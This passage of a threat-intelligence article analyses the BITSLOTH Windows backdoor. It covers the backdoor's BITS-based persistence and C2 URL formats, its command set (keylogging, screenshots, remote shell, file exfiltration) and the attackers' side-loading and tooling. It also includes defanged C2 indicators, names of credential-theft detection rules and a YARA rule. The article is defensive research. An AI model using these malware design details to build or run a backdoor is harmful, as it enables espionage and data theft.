[interface](https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager). This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.\n\n![Initializing IBackgroundCopyManager interface](/assets/images/bits-and-bytes-analyzing-bitsloth/image12.png)\n\nAfter initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:\n\n - ```WU Client Download```\n - ```WU Client Upload```\n - ```WU Client Upload R```\n\nThese names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS [job type](https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type). By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.\n\n![Switch statement inside BITSLOTH to process BITS job](/assets/images/bits-and-bytes-analyzing-bitsloth/image17.png)\n\nBelow are the Microsoft definitions matching the type of BITS job:\n\n - **BG_JOB_TYPE_DOWNLOAD** - Specifies that the job downloads files to the client.\n - **BG_JOB_TYPE_UPLOAD** - Specifies that the job uploads a file to the server.\n - **BG_JOB_TYPE_UPLOAD_REPLY** - Specifies that the job uploads a file to the server, and receives a reply file from the server application.\n\nAfter canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (```Microsoft Windows```).\n\n![BITS job creation for auto-start functionality](/assets/images/bits-and-bytes-analyzing-bitsloth/image18.png)\n\nThis download job sets the destination URL to ```http://updater.microsoft[.]com/index.aspx```. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses **SetNotifyCmdLine** to execute the malware when the transfer state is changed.\n\n![Setting up BITS persistence via SetNotifyCmdLine](/assets/images/bits-and-bytes-analyzing-bitsloth/image28.png)\n\nInterestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years. \n \n![VirusTotal relationships from embedded Microsoft URL](/assets/images/bits-and-bytes-analyzing-bitsloth/image4.png)\n\nAt this point, the malware has now been configured with persistence via a BITS job named ```Microsoft Windows```. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (```C:\\ProgramData\\Media\\setup_wm.exe```)\n\n![BITSLOTH persistence job](/assets/images/bits-and-bytes-analyzing-bitsloth/image33.png)\n\nOnce BITSLOTH becomes active, it will start requesting instructions from the C2 server using the ```WU Client Download``` job. This request URL is generated by combining the MAC address with a hard-coded string (```wu.htm```). Below is an example URL:\n\n```\nhttps://192.168.182.130/00-0C-29-0E-29-87/wu.htm\n```\n\nIn response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (```wm```) appended by random characters.\n\n\n![Data exchange through temporary files](/assets/images/bits-and-bytes-analyzing-bitsloth/image25.png)\n\n### Command functionality\n\nBITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (```0x2```) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext. \n\nIn order to move fast, our team leveraged a helpful Python [implementation](https://github.com/SafeBreach-Labs/SimpleBITSServer) of a BITS server released by [SafeBreach Labs](https://www.safebreach.com/). By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic. \n\n![BITSLOTH command handler](/assets/images/bits-and-bytes-analyzing-bitsloth/image2.png)\n\nThe handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called ```WU Client Upload```. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as ```P.bin``` for processes or ```S.bin``` for services.\n\n```\nhttp://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin\n```\n\nBelow is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.\n\n![BITSLOTH handler for running processes](/assets/images/bits-and-bytes-analyzing-bitsloth/image31.png)\n\nThis link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (```wm9F0C.tmp```) linked to the job.\n\n![BITS upload job configuration](/assets/images/bits-and-bytes-analyzing-bitsloth/image15.png)\n\nIf we look at the temporary file, we can see the collected process information from the victim host.\n\n![Contents of temporary file holding exfiltrated data](/assets/images/bits-and-bytes-analyzing-bitsloth/image26.png)\n\nSoon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.\n\n![Outbound BITS_POST request](/assets/images/bits-and-bytes-analyzing-bitsloth/image22.png)\n\n### Command handling table\n\n| Command ID | Description |\n| ----- | ----- |\n| 0 | Collect running processes via **WTSEnumerateProcessesW** |\n| 1 | Get Windows services via **EnumServicesStatusW** |\n| 2 | Get system information via ```systeminfo``` command |\n| 3 | Retrieve all top-level Windows via **EnumWindows** |\n| 5 | Collect file listings |\n| 6 | Download file from C2 server |\n| 7 | Upload file to C2 server |\n| 10 | Terminate itself |\n| 11 | Set communication mode to HTTPS |\n| 12 | Set communication mode to HTTP |\n| 13 | Remove persistence |\n| 14 | Reconfigure persistence |\n| 15 | Cancel BITS download job (```WU Client Download```) |\n| 16 | Remove persistence and delete itself |\n| 17 | Thread configuration |\n| 18 | Duplicate of handler #2 |\n| 19 | Delete file based on file path |\n| 20 | Delete folder based on file path |\n| 21 | Starts terminal shell using stdin/stdout redirection |\n| 22 | Resets terminal handler (#21) |\n| 23 | Runs Windows tree command |\n| 24 | Updates BITSLOTH, delete old version |\n| 25 | Shutdown the machine via **ExitWindowsEx** |\n| 26 | Reboot the machine via **ExitWindowsEx** |\n| 27 | Log user off from the machine via **ExitWindowsEx** |\n| 28 | Terminate process based on process identifier (PID) |\n| 29 | Retrieves additional information via ```msinfo32``` command |\n| 30 | Execute individual file via **ShellExecuteW** |\n| 34 | Create new directory via **CreateDirectoryW** |\n| 41 | Upload data to C2 server | \n| 42 | Checks for capture driver via **capGetDriverDescriptionW** |\n| 43 | Take screenshots of victim machine desktop |\n| 44 | Record keystrokes from victim machine |\n| 45 | Stop recording screenshot images |\n| 46 | Stop keylogger functionality |\n\n### Backdoor functionality\n\nBITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.\n\n#### Discovery/enumeration\n\nA portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:\n\n - Retrieving process information via **WTSEnumerateProcessesW**\n - Collecting Windows services via **EnumServicesStatusW**\n - Enumerating all top-level Windows via **EnumWindows** with a callback function\n - Retrieving system information via windows utilities such as ```systeminfo``` and ```msinfo32```\n\n![BITSLOTH handler used to collect system information](/assets/images/bits-and-bytes-analyzing-bitsloth/image14.png)\n\nIn many of the handlers, the locale version is configured to ```chs ```(Chinese - Simplified).\n\n![Retrieve Windows information](/assets/images/bits-and-bytes-analyzing-bitsloth/image16.png)\n\nBITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:\n\n - **GET_DESKDOP** → **CSIDL_DESKTOPDIRECTORY** (Desktop)\n - **GET_BITBUCKET** -\u003e **CSIDL_BITBUCKET** (Recycle Bin)\n - **GET_PERSONAl** -\u003e **CSIDL_MYDOCUMENTS** (My Documents)\n\n![File listing parameters via BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image10.png)\n\nBITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree) utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named ```aghzyxklg```. \n\n![Tree listing via BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image1.png)\n\nThe tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment. \n\n![Example of data collected through **GetDirectoryTree** handler](/assets/images/bits-and-bytes-analyzing-bitsloth/image5.png)\n\n#### Collection\n\nIn terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.\n\nBITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (**capGetDriverDescriptionW**). \n\n![Handler that records capture devices](/assets/images/bits-and-bytes-analyzing-bitsloth/image30.png)\n\nBITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (```||```) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ```ciakfjoab``` and compressed with the DEFLATE algorithm using a ```.ZIP``` archive. These timestamped zipped archives are then sent out to the C2 server.\n\nThe handler leverages common screenshot APIs such as **CreateCompatibleBitmap** and **BitBlt** from ```Gdi32.dll```.\n\n![BITSLOTH screen capture using Windows APIs](/assets/images/bits-and-bytes-analyzing-bitsloth/image32.png)\n\nFor recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using **GetAsyncKeyState**/**GetKeyState**. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a ```.ZIP``` file and sent outbound to the C2 server.\n\n![Keylogger functionality inside BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image8.png)\n\n#### Execution / Maintenance\n\nBITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:\n\n - Capability to execute files stand-alone via **ShellExecuteW**\n - Windows terminal capability to execute commands and read data back via pipes\n - Create directories, perform reboots, shutdown the machine, terminate processes\n - Perform file upload and download between C2 server\n - Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features\n\n![BITSLOTH’s CMD terminal](/assets/images/bits-and-bytes-analyzing-bitsloth/image11.png)\n\n## BITSLOTH pivots\n\nBITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (```15.235.132[.]67```) using the same port (```8443```) with the same [SSL certificate](https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9) used from our intrusion. \n\n![Shodan SSL certificate matches](/assets/images/bits-and-bytes-analyzing-bitsloth/image20.png)\n\nWhile it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (```1fcc35ea```), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.\n\n![BITSLOTH - VirusTotal Submitter (```1fcc35ea```)](/assets/images/bits-and-bytes-analyzing-bitsloth/image23.png)\n\nA lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.\n\n![Different PDB paths from BITSLOTH uploads](/assets/images/bits-and-bytes-analyzing-bitsloth/image3.png)\n\n### REF 8747 through MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n[h4] Tactics\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n - [Collection](https://attack.mitre.org/tactics/TA0009/)\n - [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n - [Discovery](https://attack.mitre.org/tactics/TA0007/)\n - [Execution](https://attack.mitre.org/tactics/TA0002/)\n - [Exfiltration](https://attack.mitre.org/tactics/TA0010/)\n - [Persistence](https://attack.mitre.org/tactics/TA0003/)\n \n#### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n\n - [BITS Jobs](https://attack.mitre.org/techniques/T1197/)\n - [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n - [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)\n - [Screen Capture](https://attack.mitre.org/techniques/T1113/)\n - [Input Capture: Keylogging](https://attack.mitre.org/techniques/T1056/001/)\n - [Proxy](https://attack.mitre.org/techniques/T1090/)\n\n## Detecting REF8747\n\n### Detection\n\nThe following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:\n\n - [Persistence via BITS Job Notify Cmdline](https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml)\n - [LSASS Access Attempt via PPL Bypass](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml)\n - [LSASS Access Attempt from an Unsigned Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml)\n - [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml)\n - [Credential Access via Known Utilities](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml)\n - Shellcode Injection\n\n#### YARA Signatures\n\n - [Windows.Hacktool.Mimikatz](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar)\n - [Windows.Trojan.BITSloth](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar)\n - [Windows.Hacktool.Iox](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar)\n - [Windows.Hacktool.Rubeus](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar)\n - [Windows.Hacktool.Certify](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar)\n - [Windows.Hacktool.RingQ](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar)\n - [Windows.Hacktool.GodPotato](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar)\n - [Multi.Hacktool.Stowaway](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar)\n\n#### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:\n\n```\nrule Windows_Trojan_BITSLOTH_05fc3a0a {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-07-16\"\n last_modified = \"2024-07-18\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.BITSLOTH\"\n \t license = \"Elastic License v2\"\n\n strings:\n $str_1 = \"/%s/index.htm?RspID=%d\" wide fullword\n $str_2 = \"/%s/%08x.rpl\" wide fullword\n $str_3 = \"/%s/wu.htm\" wide fullword\n $str_4 = \"GET_DESKDOP\" wide fullword\n $str_5 = \"http://updater.microsoft.com/index.aspx\" wide fullword\n $str_6 = \"[U] update error...\" wide fullword\n $str_7 = \"RMC_KERNEL ...\" wide fullword\n $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }\n $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }\n condition:\n 2 of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n| ----- | ----- | ----- | ----- |\n| 4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df | SHA-256 | ```s.dll``` | BITSLOTH |\n| dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88 | SHA-256 | ```125.exe``` | BITSLOTH |\n| 4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50 | SHA-256 | ```setup_wm.exe``` | BITSLOTH |\n| 0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507 | SHA-256 | ```1242.exe``` | BITSLOTH |\n| 0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd | SHA-256 | ```setup_wm.exe``` | BITSLOTH (VMProtect) |\n| 216.238.121[.]132 | ipv4-addr | BITSLOTH C2 server |\n| 45.116.13[.]178 | ipv4-addr | BITSLOTH C2 server |\n| 15.235.132[.]67 | ipv4-addr | BITSLOTH C2 server |\n| http ://updater.microsoft.com/index.aspx | | | BITSLOTH file indicator |\n| updater.microsoft.com | | | BITSLOTH file indicator |\n\n## References\nThe following were referenced throughout the above research:\n\n - [https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master](https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master)\n - [https://github.com/T4y1oR/RingQ](https://github.com/T4y1oR/RingQ)\n - [https://github.com/EddieIvan01/iox](https://github.com/EddieIvan01/iox)\n - [https://github.com/ph4ntonn/Stowaway/](https://github.com/ph4ntonn/Stowaway/)\n\n## About Elastic Security Labs\n\nElastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.\n\nFollow Elastic Security Labs on Twitter [@elasticseclabs](https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) and check out our research at [www.elastic.co/security-labs/](https://www.elastic.co/security-labs/). ","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of g(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var w=(t,e,n)=\u003e(n=t!=null?h(p(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(a({},\"__esModule\",{value:!0}),t);var d=u((k,l)=\u003e{l.exports=_jsx_runtime});var I={};b(I,{default:()=\u003eS,frontmatter:()=\u003eT});var i=w(d()),T={title:\"BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor\",slug:\"bits-and-bytes-analyzing-bitsloth\",date:\"2024-08-01\",description:\"Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.\",author:[{slug:\"seth-goodwin\"},{slug:\"daniel-stepanic\"}],image:\"Security Labs Images 29.jpg\",category:[{slug:\"malware-analysis\"}]};function c(t){let e=Object.assign({h2:\"h2\",p:\"p\",h3:\"h3\",ul:\"ul\",li:\"li\",a:\"a\",img:\"img\",code:\"code\",pre:\"pre\",h4:\"h4\",blockquote:\"blockquote\",strong:\"strong\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"bitsloth-at-a-glance\",children:\"BITSLOTH at a glance\"}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it\\u2019s not clear who\\u2019s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"BITSLOTH is a newly discovered Windows backdoor\"}),`\n`,(0,i.jsx)(e.li,{children:\"BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication\"}),`\n`,(0,i.jsx)(e.li,{children:\"BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes\"}),`\n`,(0,i.jsx)(e.li,{children:\"The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"discovery\",children:\"Discovery\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/T4y1oR/RingQ\",rel:\"nofollow\",children:\"RINGQ\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/EddieIvan01/iox\",rel:\"nofollow\",children:\"IOX\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/ph4ntonn/Stowaway\",rel:\"nofollow\",children:\"STOWAWAY\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/BeichenDream/GodPotato\",rel:\"nofollow\",children:\"GODPOTATO\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/Ridter/noPac\",rel:\"nofollow\",children:\"NOPAC\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/gentilkiwi/mimikatz\",rel:\"nofollow\",children:\"MIMIKATZ\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault\",rel:\"nofollow\",children:\"PPLFAULT\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/GhostPack/Certify\",rel:\"nofollow\",children:\"CERTIFY\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image21.png\",alt:\"Screenshot of RingQ demo\",width:\"1196\",height:\"676\"})}),`\n`,(0,i.jsx)(e.p,{children:\"We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of \\u201Cwhoami\\u201D.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image13.png\",alt:\"RINGQ loading and executing IOX\",width:\"1252\",height:\"296\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image19.png\",alt:\"STOWAWAY proxy usage\",width:\"1340\",height:\"208\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (\",(0,i.jsx)(e.code,{children:\"flengine.dll\"}),\") inside the ProgramData directory. The actor then executed the music-making program FL Studio (\",(0,i.jsx)(e.code,{children:\"fl.exe\"}),\"). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details\",rel:\"nofollow\",children:\"FL Studio\"}),\".\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:` c:\\\\windows\\\\syswow64\\\\ntdll.dll!0x770841AC\n c:\\\\windows\\\\syswow64\\\\ntdll.dll!0x7709D287\n c:\\\\windows\\\\syswow64\\\\kernelbase.dll!0x76ED435F\n c:\\\\windows\\\\syswow64\\\\kernelbase.dll!0x76ED42EF\n Unbacked!0x14EAB23\n Unbacked!0x14EA8B6\n c:\\\\programdata\\\\pl studio\\\\flengine.dll!0x74AD2F2E\n c:\\\\programdata\\\\pl studio\\\\fl.exe!0xDB3985\n c:\\\\programdata\\\\pl studio\\\\fl.exe!0xDB3E5E\n c:\\\\programdata\\\\pl studio\\\\fl.exe!0xDB4D3F\n c:\\\\windows\\\\syswow64\\\\kernel32.dll!0x76B267F9\n c:\\\\windows\\\\syswow64\\\\ntdll.dll!0x77077F4D\n c:\\\\windows\\\\syswow64\\\\ntdll.dll!0x77077F1B\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"bitsloth-overview\",children:\"BITSLOTH overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology\\u2013 referring to BITSLOTH as the \",(0,i.jsx)(e.code,{children:\"Slaver\"}),\" component and the command and control server as the \",(0,i.jsx)(e.code,{children:\"Master\"}),\" component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image7.png\",alt:\"PDB linked to BITSLOTH sample\",width:\"439\",height:\"263\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH employs no obfuscation around control flow or any kind of string encryption.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image9.png\",alt:\"BITSLOTH strings\",width:\"1016\",height:\"446\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (\",(0,i.jsx)(e.code,{children:\".rdata\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image24.png\",alt:\"Debugging\",width:\"447\",height:\"130\"})}),`\n`,(0,i.jsxs)(e.p,{children:[`This Simplified Chinese wide-character string translates to:\n`,(0,i.jsx)(e.code,{children:\"Note: There is already a program running, do not run it again\\u2026\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image29.png\",alt:\"String left by developer\",width:\"1440\",height:\"305\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set\",rel:\"nofollow\",children:\"EAGERBEE\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image27.png\",alt:\"BITSLOTH scheduling component\",width:\"656\",height:\"365\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"bitsloth-code-analysis\",children:\"BITSLOTH code analysis\"}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH is a backdoor with many different capabilities including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Running and executing commands\"}),`\n`,(0,i.jsx)(e.li,{children:\"Uploading and downloading files\"}),`\n`,(0,i.jsx)(e.li,{children:\"Performing enumeration and discovery\"}),`\n`,(0,i.jsx)(e.li,{children:\"Collecting sensitive data through keylogging and screen capturing\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"mutex\",children:\"Mutex\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH uses a hard-coded mutex (\",(0,i.jsx)(e.code,{children:\"Global\\\\d5ffff77ff77adad657658\"}),\") within each sample to ensure only one instance is running at a time.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image6.png\",alt:\"Mutex used by BITSLOTH\",width:\"633\",height:\"137\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"communication\",children:\"Communication\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the \",(0,i.jsx)(e.code,{children:\"Slaver\"}),\" component and the command and control server (C2) as the \",(0,i.jsx)(e.code,{children:\"Master\"}),\" component. The developer embeds the 